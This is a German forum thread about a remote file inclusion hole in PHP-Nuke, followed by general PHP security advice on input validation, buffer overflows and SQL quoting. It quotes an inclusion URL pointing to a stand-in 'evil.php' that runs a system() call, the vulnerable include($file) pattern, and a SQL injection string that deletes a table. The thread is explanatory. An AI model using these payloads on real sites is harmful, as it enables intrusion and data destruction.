Cheatah: PHP-Nuke: Sicherheitsleck

Hi,

FYI:

In der Ausgabe 4 vom Linux-Magazin befindet sich auf Seite 24 ein Bericht, der ein massives Sicherheitsleck von PHP-Nuke aufdeckt. Kurz nachberichtet:

Mit dem URL-Parameter "file" kann man der index.php sagen, dass eine bestimmte Datei eingebunden werden soll. Gibt man hier statt dessen eine URL an, deren Ressource (ungeparsten) PHP-Code beinhaltet, wird dieser ausgeführt; beispielsweise:

http://server-mit-php-nuke/index.php?file=http://eigener-server/evil.php

Diese Ressource kann dann Code der Art

<?php system('ls -al') ?>

beinhalten - ich möchte alle Leser eindringlich bitten, es niemals mit etwas ernsterem auszuprobieren!

Angegebener Link: http://online.securityfocus.com/bid/3889

Das obligatorische "ich hab's ja immer gesagt" und das Geplänkel über Sinn und vor allem Unsinn diverser PHP-Funktionen spare ich mir ;-)

Cheatah

P.S.: Ich selbst hab's nicht getestet.

  1. hm ....

    In der Ausgabe 4 vom Linux-Magazin befindet sich auf Seite 24 ein Bericht, der ein massives Sicherheitsleck von PHP-Nuke aufdeckt.

    Ich lese zwar hie und da auch mal as, was auf "echtem" Papier steht, hab aber diese Zeitschrift nicht und bin also auf deine links angewiesen

    http://server-mit-php-nuke/index.php?file=http://eigener-server/evil.php

    tstststs ... selbst wenn du http://server-mit-php-nuke/index.php?file=http://eigener-server/evil.php geschrieben hättest, wärs nicht besser ... "die Seite kann nicht angezeigt werden". Sowohl unter Windows wie von meiner FreeBSD-Maschine aus - oder ist meine DSL-Verbindung zu schnell dafür ?

    Angegebener Link: http://online.securityfocus.com/bid/3889

    der link ist zwar anklickbar, aber führt "nur" zu einer sehr ordentlichen informativen Adresse, an der ich allerdings nix gefunden habe, was deiner Problemstellung entspricht

    Das obligatorische "ich hab's ja immer gesagt" und das Geplänkel über Sinn und vor allem Unsinn diverser PHP-Funktionen spare ich mir ;-)

    eigentlich schade. Ich zum Beispiel weiß über die möglichen "Sicherheitsrisiken" bei PHP noch nicht genug und bin daher an jedem ernstzunehmenden Hinweis interessiert

    Christoph S.

    1. Moin!

      http://server-mit-php-nuke/index.php?file=http://eigener-server/evil.php
      tstststs ... selbst wenn du http://server-mit-php-nuke/index.php?file=http://eigener-server/evil.php geschrieben hättest, wärs nicht besser ... "die Seite kann nicht angezeigt werden". Sowohl unter Windows wie von meiner FreeBSD-Maschine aus - oder ist meine DSL-Verbindung zu schnell dafür?

      Hm, fehlt hier das Ironiezeichen? Natürlich ist diese Adresse nur als Demonstration gemeint und kann garnicht funktionieren. Oder hast du schon mal die Top-Level-Domain "server-mit-php-nuke" gesehen, und völlig ohne Second-Level-Domain.

      Angegebener Link: http://online.securityfocus.com/bid/3889
      der link ist zwar anklickbar, aber führt "nur" zu einer sehr ordentlichen informativen Adresse, an der ich allerdings nix gefunden habe, was deiner Problemstellung entspricht

      Doch, allerdings ist diese Seite nicht wirklich informativ, was die genaueren Details angeht.

      Das geschilderte Problem versteckt sich in der Titelzeile: "PHPNuke Remote Arbitrary File Include Vulnerability" Übersetzt etwa: "PHPNuke Entfernte beliebige Datei Einbindungsverwundbarkeit", oder geglättet: PHPNuke erlaubt es, beliebige entfernte (auf anderen Servern befindliche) Dateien in den PHP-Code einzubinden. Wie böse das ist, wurde dargelegt.

      eigentlich schade. Ich zum Beispiel weiß über die möglichen "Sicherheitsrisiken" bei PHP noch nicht genug und bin daher an jedem ernstzunehmenden Hinweis interessiert

      PHP ist nicht per Definition unsicher. Die darauf aufbauenden Programme sind es (und das ist nicht beschränkt auf PHP, es hat aber aufgrund seiner leichten Erlernbarkeit und einiger PHP-exklusiver Features in der Vergangenheit erlaubt, daß sich auch eher unerfahrenere Programmierer dazu berufen fühlten, beliebig aufwendigen Code zu erstellen, der leider hinreichend unsicher ist).

      Das Problem bei allen Programmen: Mißtraue Usereingaben!!!

      Der böse User wird sich z.B. nicht deshalb bei der Länge des Paßwortes zurückhalten, weil in der Anleitung steht "maximal 25 Zeichen". Er kann durchaus 3000 Zeichen ausprobieren, und wenn das Programm nicht die überzähligen Zeichen unbeachtet einfach wegwirft, sondern versucht, die irgendwo zu speichern, wo kein Platz vorgesehen war, dann kommt es mit einiger Sicherheit zum "Buffer Overflow": Der für die Zeichenkette reservierte Speicherplatz wurde überschritten, aber entsetzlicherweise wurde vom Programm über das vorgesehene Ende hinaus blind weiter in den Speicher geschrieben - Daten und möglicherweise Programmcode wurden zerstört.

      Konkret auf PHP bezogen gilt: Es ist ein nettes Feature, daß PHP Formulareingaben und URL-Parameter gleich in Variablen umwandelt, die zur Verfügung stehen. Aber damit kann man im PHP-Skript Variablen durch die URL-Zeile einfach erzeugen und vorbelegen und so möglicherweise Einfluß auf den Programmfluß nehmen.

      Im konkreten Fall:

      Wenn der URL-Parameter "file", wenn er übergeben wurde, dafür sorgt, daß die genannte Datei eingefügt wird, bei Nichtvorhandensein aber ignoriert wird, dann könnte man das so programmieren:

      if (isset($file))
      {
      include($file);
      }

      Wenn diese Tatsache nur allen vorhandenen Skripten bekannt ist: Toll. Wenn man aber durch manipulierte Angabe des Parameters jede beliebige Datei einbinden kann, ist das ziemlich schlecht. Einfach "einbinder.php?file=/boeses_skript.php" aufrufen, schon hat man eine beliebige Datei eingebunden. Wobei das noch nicht ultrakritisch ist, die Datei muß noch auf dem gleichen Server und dort für das Skript erreichbar sein.

      Dummerweise erlaubt die include-Funktion auch, von externen Servern durch Angabe einer URL Skriptteile einzubinden. Das ist toll, wenn man auf diese Weise einen zentralen Server hat, der News-Schnipsel im eigenen Layout verteilt - aber auch ultragefährlich, weil eben per include auch PHP-Code ausgeführt werden kann. fopen() funktioniert auf die gleiche Weise, kann neben http-"Dateien" auch ftp-Dateien auf entfernten Servern ansprechen. Was mal als nettes Feature gedacht war (und durchaus dem Unix-Gedanken "Alles ist Datei" entspricht), wird hier zur bösen Falle, weil der Dateiname von extern frei bestimmbar ist. Sowas sollte _niemals_ der Fall sein dürfen!

      Mißtraue Usereingaben!!! Zumindest die Prüfung, ob eine lokale Datei angesprochen wird (über die man ja hoffentlich die volle Gewalt hat), hätte erfolgen müssen.

      • Sven Rautenberg
      1. juchhu !

        ich habs doch gewußt, daß wir mit Cheatahs posting was zum "Beißen" bekommen ...

        ... oder ist meine DSL-Verbindung zu schnell dafür?
        Hm, fehlt hier das Ironiezeichen?

        jo, hat gefehlt, sorry

        Oder hast du schon mal die Top-Level-Domain "server-mit-php-nuke" gesehen, und völlig ohne Second-Level-Domain.

        habe ich

        Das geschilderte Problem versteckt sich in der Titelzeile: "PHPNuke Remote Arbitrary File Include Vulnerability" Übersetzt etwa: "PHPNuke Entfernte beliebige Datei Einbindungsverwundbarkeit", oder geglättet: PHPNuke erlaubt es, beliebige entfernte (auf anderen Servern befindliche) Dateien in den PHP-Code einzubinden. Wie böse das ist, wurde dargelegt.

        Naja, eben nicht richtig. Es wurde nicht "dargelegt", sondern "zitiert", und das macht einen Unterschied.
        Um mal prinzipiell zu werden: Stefan Münz, du, Cheatah, Michael Schröpl, Klaus Mock, Christian Kruse, .... (ich) wir denken bei postings doch auch daran, daß da Leute mitlesen, die irgendwie "noch keine Ahnung" haben. Da muß man manchmal mit mehr als dem Zaunspfahl winken, und genau das habe ich mit meiner Nachfrage bezweckt

        Was du nachfolgend geschrieben hast:

        PHP ist nicht per Definition unsicher. Die darauf aufbauenden Programme sind es ...

        ist eigentlich der erste Entwurf für einen weiteren Feature-Artikel, das heißt, du hast dir die "Initialstrafe" reichlich verdient

        ;-)

        Grüße aus Berlin

        Christoph S.

      2. Hi

        Das Problem bei allen Programmen: Mißtraue Usereingaben!!!

        Der böse User wird sich z.B. nicht deshalb bei der Länge des Paßwortes zurückhalten, weil in der Anleitung steht "maximal 25 Zeichen". Er kann durchaus 3000 Zeichen ausprobieren, und wenn das Programm nicht die überzähligen Zeichen unbeachtet einfach wegwirft, sondern versucht, die irgendwo zu speichern, wo kein Platz vorgesehen war, dann kommt es mit einiger Sicherheit zum "Buffer Overflow": Der für die Zeichenkette reservierte Speicherplatz wurde überschritten, aber entsetzlicherweise wurde vom Programm über das vorgesehene Ende hinaus blind weiter in den Speicher geschrieben - Daten und möglicherweise Programmcode wurden zerstört.

        Da bin ich jetzt unsicher geworden. Bei Eingabeformularen verwende ich natürlich immer das maxlength-Attribut, aber daß das natürlich nur als Empfehlung an den Besucher zu verstehen ist, ist mir auch klar. Wenn ich die eingabe dann aber in MySQL speichere, haben die Felder eben auch diese Länge. Der Rest sollte dann doch von MySQL weggeworfen werden (so habe ich das jedenfalls mal in einem Handbuch gelesen). Ist das korrekt, oder bedeutet es zusätzliche sicherheit, wenn ich den String vorher schon auf die entsprechende Länge kürze?

        Bei welchen arten des Speicherns von daten kann es zu einem Buffer Overflow kommen? Man hört ja immer wieder davon, habe aber eigentlich noch nie daran gedacht, daß dies bei meiner art, PHP zu benutzen, auftreten kann.

        Vielen dank

        Heizer

        1. Moin!

          Da bin ich jetzt unsicher geworden.

          Fein. Man sollte sich nie zu sicher fühlen. :)

          Bei Eingabeformularen verwende ich natürlich immer das maxlength-Attribut, aber daß das natürlich nur als Empfehlung an den Besucher zu verstehen ist, ist mir auch klar. Wenn ich die eingabe dann aber in MySQL speichere, haben die Felder eben auch diese Länge. Der Rest sollte dann doch von MySQL weggeworfen werden (so habe ich das jedenfalls mal in einem Handbuch gelesen). Ist das korrekt, oder bedeutet es zusätzliche sicherheit, wenn ich den String vorher schon auf die entsprechende Länge kürze?

          Erstmal zu PHP: Du kannst den Variablen keine maximale Länge zuweisen. Das ist gut, dann gibts vermutlich auch keine, die überschritten werden kann, und solange keine Bugs in PHP vorhanden sein, die zu lange Strings nicht ordentlich behandeln, hast du nichts zu befürchten (und könntest es im Zweifel ja auch nicht ändern, weil die Installation der richtigen PHP-Version Providersache ist. Blöd, wenn man sein eigener Provider ist - dann sollte man die News-Mailingliste der eingesetzten Programme abonniert haben.)

          Und wenn mySQL laut Handbuch zu lange Angaben für Felder ignoriert, kann man auch davon ausgehen, daß dieses so geschieht.

          Bei mySQL herrscht hingegen eine ganz andere Gefahr, daß im String enthaltene Anführungsstriche nicht maskiert werden.

          Zum Glück gibts "magic_quotes", d.h. alle einfachen und doppelten Anführungsstriche, die vom Browser kommen, kriegen einen Backslash vorangestellt, damit mySQL geschützt ist. Denn sonst könnte man das typische SQL-Statement-Zusammenbasteln überrumpeln:
          $sqlstatement="SELECT * FROM tabelle WHERE name='$name'";

          Wenn $name jetzt folgenden Inhalt hat:
          "irgendwas'; DELETE FROM tabelle; #"

          dann wird das zusammengebastelt zu:
          $sqlstatement="SELECT * FROM tabelle WHERE name='irgendwas'; DELETE FROM tabelle; #'";

          Sehr unpraktisch. ;)

          Bei welchen arten des Speicherns von daten kann es zu einem Buffer Overflow kommen? Man hört ja immer wieder davon, habe aber eigentlich noch nie daran gedacht, daß dies bei meiner art, PHP zu benutzen, auftreten kann.

          Wie gesagt: Bei PHP kannst du davon ausgehen, daß sowas wie ein Buffer Overflow eher nicht existiert. Wenn, dann wird er hoffentlich schnell gefunden und ausgemerzt. Buffer Overflows kommen eher vor, wenn man C programmiert. Da muß man für die Eingaben noch eigenverantwortlich Platz schaffen - und der faule Programmierer denkt eben nur bis zur eigenen Tastatur, und nicht an Buffer Overflows.

          In der Tat sind es, wie bei PHP sehr häufig zu sehen, meist unerfahrene Programmierer, die noch nicht mal auf die Idee kommen, "Ist das auch sicher?" zu fragen. Solange es mit den erlaubten Eingaben alles funktioniert, kann doch nichts passieren. Was ist aber, wenn man die Eingaben mal etwas über die spezifizierten Parameter hinaus dehnt, wird vernachlässigt.

          Ich bin aktuell gerade bei einem Projekt bei, bei dem mit URL-Rewriting und PHP eine Site ausgegeben wird. Das ist grundsätzlich noch kein großes Problem. Interessant wird's, weil auch ein kleines Editing-System eingebaut ist und etwas konfus zwischendrin rumwuselt, mit Redirect, wenn der User angemeldet ist etc. Das ist wahrscheinlich noch nicht die Ideallösung, wenngleich eigentlich nur zwei Skripte existieren, eines für den Normaluser und eines für das Editing-System.

          Im Prinzip funktionierts - auf meinem Win98-Testserver. Und wenn man ein wenig an den Eingabeparametern rumstrickt, ist es auch robust. Aber sicher bin ich mir da nicht unbedingt - da ist also noch Testarbeit und vor allem logisches Denken notwendig: Unter welchen Voraussetzungen würde welcher Programmteil was tun - und was könnte vielleicht ausgenutzt werden? Um das zu erkennen, ist zuallererst das Problembewußtsein notwendig. Und dann natürlich Erfahrung. Und gerade das ist nicht einfach, weil man, um sie zu gewinnen, eigentlich professioneller Hacker sein müßte, um abstruse Ideen zu erlangen, was man alles machen könnte, was nicht vorgesehen ist.

          Ich bin kein Profi-Hacker, ich hoffe nur, mein Wissen reicht aus, die schlimmsten, offensichtlichsten Löcher nicht entstehen zu lassen. :)

          • Sven Rautenberg
          1. Hi,

            Da bin ich jetzt unsicher geworden.
            Fein. Man sollte sich nie zu sicher fühlen. :)

            ACK. Ich weiß leider nicht mehr, wer es in welcher Newsgroup sagte:

            Sicherheit ist kein Ziel, sondern ein Weg.

            Soll heißen: Sicherheit ist niemals ein erreichbarer Punkt, bei dem man sich entspannt zurücklehnen kann. Man muss _immer_ Sicherheitsaspekte im Hinterkopf (und idealerweise auch weiter vorne) behalten, stets die durchgeführten Prüfungen neu durchdenken.

            Bei mySQL [...]
            Zum Glück gibts "magic_quotes", [...]

            Hm, ich dachte, MySQL beherrsche Bind-Variablen, finde aber spontan nichts darüber (auch keinen Hinweis in den PHP-Funktionen). Damit wäre dieses spezielle Problem leicht zu beheben. Kann jemand meinen Irrtum bestätigen? :-)

            In der Tat sind es, wie bei PHP sehr häufig zu sehen, meist unerfahrene Programmierer, die noch nicht mal auf die Idee kommen, "Ist das auch sicher?" zu fragen.

            Ja. Mit gerunzelter Stirn muss ich feststellen, dass diese Eigenschaft auch bei vielen Anwendern von Microsoft-Programmen zu finden ist.

            Solange es mit den erlaubten Eingaben alles funktioniert, kann doch nichts passieren. Was ist aber, wenn man die Eingaben mal etwas über die spezifizierten Parameter hinaus dehnt, wird vernachlässigt.

            Ich habe neulich in einer Schulung über Unit-Tests gelernt: Ein Bug ist ein Testfall, den man nicht beachtet hat. Man kann also sagen, dass solche Programme ziemlich buggy sind :-)

            Das ist wahrscheinlich noch nicht die Ideallösung, wenngleich eigentlich nur zwei Skripte existieren, eines für den Normaluser und eines für das Editing-System.

            Darf ich mal kurz das Prinzip "SetEnvIf" mit entsprechenden getenv()-Abfragen in den Raum werfen? Das an sich ist auch noch nicht sicher (insbesondere weil man entweder erst danach zum Editing-System kommt, was bisher ungeprüft wäre, oder aber gleich im Editing-System ist, welches dann deaktivierbar sein muss), könnte aber als "durchschaubarerer" Ansatz dienen.

            [...] Und gerade das ist nicht einfach, weil man, um sie zu gewinnen, eigentlich professioneller Hacker sein müßte, um abstruse Ideen zu erlangen, was man alles machen könnte, was nicht vorgesehen ist.

            Tja, abstruse Ideen sollte man immer mal wieder haben... :-) Ein guter Ansatz ist es aber, wenn man pro Schritt einzeln _alle_ Möglichkeiten aufzeigt (sofern es geht), und deren Implikationen streng protokolliert. Gerade bei mehrstufigen Konfigurations-Geschichten kommt man auf diese Weise durchaus zu möglichen Problemfällen - und kann oft recht leicht streng definieren, was zur Vermeidung derselben zu tun ist. Und "dann müssen sich nur noch alle dran halten".

            Ich bin kein Profi-Hacker,

            Einige Firmen haben in der Vergangenheit Aufsehen erregt, indem Sie einen Hacker-Contest ins Leben gerufen haben: "Hier ist unser Testsystem, versucht es zu hacken. Wer Sicherheitslecks offenlegt, kriegt eine Belohnung." Dieses Konzept erinnert ein wenig an Open Source, ist nur leider zeit- und kostenintensiver.

            Cheatah

          2. Moin,

            $sqlstatement="SELECT * FROM tabelle WHERE name='$name'";

            Wenn $name jetzt folgenden Inhalt hat:
            "irgendwas'; DELETE FROM tabelle; #"

            dann wird das zusammengebastelt zu:
            $sqlstatement="SELECT * FROM tabelle WHERE name='irgendwas'; DELETE FROM tabelle; #'";

            Der Fairness halber: Auch wenn es gerne angeführt wird: Dieser Angriff geht mit PHP _nicht_, du fängst dir höchsten einen SQL-Syntax-Fehler ein. Die PHP-Funktionen zum Absetzen einer Query unterstützen das Senden mehrerer Queries mit Semikolon getrennt ausdrücklich nicht.

            --
            Henryk Plötz
            Grüße aus Berlin

    2. Hallo,

      Ich zum Beispiel weiß über die möglichen "Sicherheitsrisiken" bei PHP noch nicht genug und bin daher an jedem ernstzunehmenden Hinweis interessiert

      Z. B. "Secure Programming in PHP":
      http://www.zend.com/zend/art/art-oertli.php

      MfG, Thomas

      1. Moin!

        Ich zum Beispiel weiß über die möglichen "Sicherheitsrisiken" bei PHP noch nicht genug und bin daher an jedem ernstzunehmenden Hinweis interessiert

        Z. B. "Secure Programming in PHP":
        http://www.zend.com/zend/art/art-oertli.php

        Exzellent! Gleich bookmarken! :)

        • Sven Rautenberg